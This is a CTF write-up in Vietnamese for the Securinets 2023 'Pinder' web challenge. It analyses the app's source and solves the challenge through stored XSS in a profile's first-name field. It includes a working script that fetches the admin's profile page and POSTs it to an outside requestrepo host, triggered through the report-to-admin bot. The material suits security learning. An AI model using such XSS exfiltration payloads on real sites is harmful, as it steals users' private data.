---
# System prepended metadata

title: Securinets CTF Quals 2023 WRITEUP
tags: [CTF, Writeup]

---

## Pinder
### Đề bài
![](https://hackmd.io/_uploads/rJ3eoy0sh.png)
- Trang web cho ta tính năng đăng ký, đăng nhập, và sau khi đăng nhập trang web cho ta tính năng sửa profile, cùng với tính năng report to admin(nghe cái mùi XSS):
![](https://hackmd.io/_uploads/HyBvR1Ao2.png)
![](https://hackmd.io/_uploads/rJCpAJCo3.png)
### Phương hướng:
- Challenge cho ta đầy đủ source code, có một số chỗ mà em để ý tới trong đống source đó:
- Đầu tiên là các chức năng xử lý được lưu trong `index.js` của route, ta chỉ được tạo profile 1 lần duy nhất, và việc thay đổi file JSON trong profile là khó vì nó sẽ trả response về `decrypt`, và chức năng profile/:id sẽ lấy giá trị id để trả về trang /my-profile:
```javascript!=
router.get("/my-profile",authenticationMiddleware, async (req, res) => {
    if (!req.session.userId) {
        return res.status(401).json({ error: 'Unauthorized' });
    }
    try {
        if (req.session.userId) {
            const result = await db.getProfile(req.session.userId);
            console.log(result)
            if (result.length !== 0) {
                return res.render("my-profile", { profile: result[0] })
            }
            return res.render('create-profile');
        } else {
            return res.redirect('/login');
        }
    }
    catch (e) {
        return res.render("error");
    }
})

router.get("/profile/:id", authenticationMiddleware, async (req, res) => {
    if (!req.session.userId|| req.session.userId !== 1) {
        return res.render("not-authorized");
    }
    const result = await db.getProfile(req.params.id);
    if (result.length === 0) {
        return res.render("404");
    }
    return res.render("my-profile",{profile:result[0]});
})
```
- Để tìm hiểu kĩ hơn về chức năng login và register em đã vào file `database.js` và thấy được câu lệnh query đã bị tham số hóa, nên em sẽ không đi theo hướng sqlinjection:
```javascript!=
async registerUser(username, password, secret) {
        const result = await this.query('INSERT INTO users (username, password) VALUES (?, ?)', [username, password]);
        return result;
    }

async loginUser(username, password) {
        const result = await this.query('SELECT * FROM users WHERE username = ? AND password = ?', [username, password]);
        return result.length === 1 ? result[0] : false;
    }

async createProfile(userId, first_name,last_name,profile_picture_link,is_public=false) {
        const result = await this.query('INSERT INTO profile (user_id, first_name,last_name,profile_picture_link,is_public) VALUES (?, ?, ?, ?, ?)',
            [userId, first_name, last_name,profile_picture_link,is_public]);
        return result;
    }
```
- Sau đó em xem cách hoạt động của cơ chế report to admin ở `report.js`, admin sẽ chỉ lấy đường URL có dạng `http://127.0.0.1/profile`, sau đó xử lý, kết hợp với chức năng ở trên thì ta sẽ report thêm `/profileid` để admin xem profile của ta:
```javascript!=
const url = req.body.url
    if (
        url === undefined || !url.startsWith('http://127.0.0.1/profile')
    ) {
        return res.status(400).send({ error: 'Invalid URL' })
    }

    try {
        console.log(`[*] Visiting ${url}`)
        await visit(url)
        console.log(`[*] Done visiting ${url}`)
        return res.sendStatus(200)
    } catch (e) {
        console.error(`[-] Error visiting ${url}: ${e.message}`)
        return res.status(400).send({ error: e.message })
    }
```
- Cuối cùng là file `init.sql`, nơi tiết lộ flag nằm ở first_name của admin:
```javascript!=
INSERT INTO users (username, password) VALUES ('admin', 'REDACTED');

INSERT INTO profile (user_id, first_name,last_name,profile_picture_link,is_public) VALUES (1,'securinets{fakeflag}','last name','https://i.imgur.com/3ZQ3Z9A.jpg',1);
```
- Dữ kiện như vậy là khá ổn rồi, giờ thứ mình cần là làm thế nào để biết được first_name của admin? Đầu tiên khi em thấy chức năng searchProfile, em đã nghĩ đến việc nếu mình search ra admin, nhưng cách đó không hoạt động vì session của admin khó có thể lấy được thông qua chức năng report
- Cái mình biết là mình có thể XSS qua trang my-profile ở first_name và picture link:
![](https://hackmd.io/_uploads/rJgJQgAsn.png)
![](https://hackmd.io/_uploads/ryVXQxCj2.png)
- Giờ ta xét hướng sau: first_name sẽ hiện ở searchprofile nếu ta gọi theo first_name(cách này nghe ảo) và ở chính /my-profile của admin, vậy thì giờ câu hỏi chính là làm thế nào để vào được /my-profile của admin.
- Để vào được /my-profile, em nghĩ lợi dụng việc XSS ở first_name với thẻ script, sau đó gửi link theo format đã nói bên trên với profile id ở đâu đó trong trang web cho admin để khi admin đến profile của ta thì ta sẽ lấy được /my-profile của admin
### Thực hiện:
- Em sẽ XSS vào first_name với script có nội dung như sau:
```javascript!=
<script>
const a = async () => {
	let b = await fetch('/my-profile');
	let c = await b.text();
	let d = await fetch('http://uilqo15s.requestrepo.com', {
		method: 'POST',
		body: c
	});
};
a();
</script>
```
- Nội dung của script là em sẽ lấy phần html của `/my-profile`, chuyển sang text, sau đó POST đến trang requestrepo của em với body là phần text vừa rồi. Khi admin xem profile của em, script sẽ được trigger sau đó nó sẽ lấy toàn bộ nội dung của trang `/my-profile` của admin và gửi về cho em 
![](https://hackmd.io/_uploads/HkAjPgAs3.png)
- Đồng thời ta cũng để ý đến thẻ bị ẩn chứa profileid của ta để gửi cho admin:
![](https://hackmd.io/_uploads/r1u6wxCs3.png)
- Sau đó tiến hành gửi cho admin với URL: `http://127.0.0.1/profile/520` để admin xem profile của ta:
![](https://hackmd.io/_uploads/rJTM_xCs2.png)
- Ngồi đợi ở requestrepo và ta đã có flag:
![](https://hackmd.io/_uploads/SyDN_lAs3.png)
- Flag: **securinets{3bcc81811533d70940084c8}**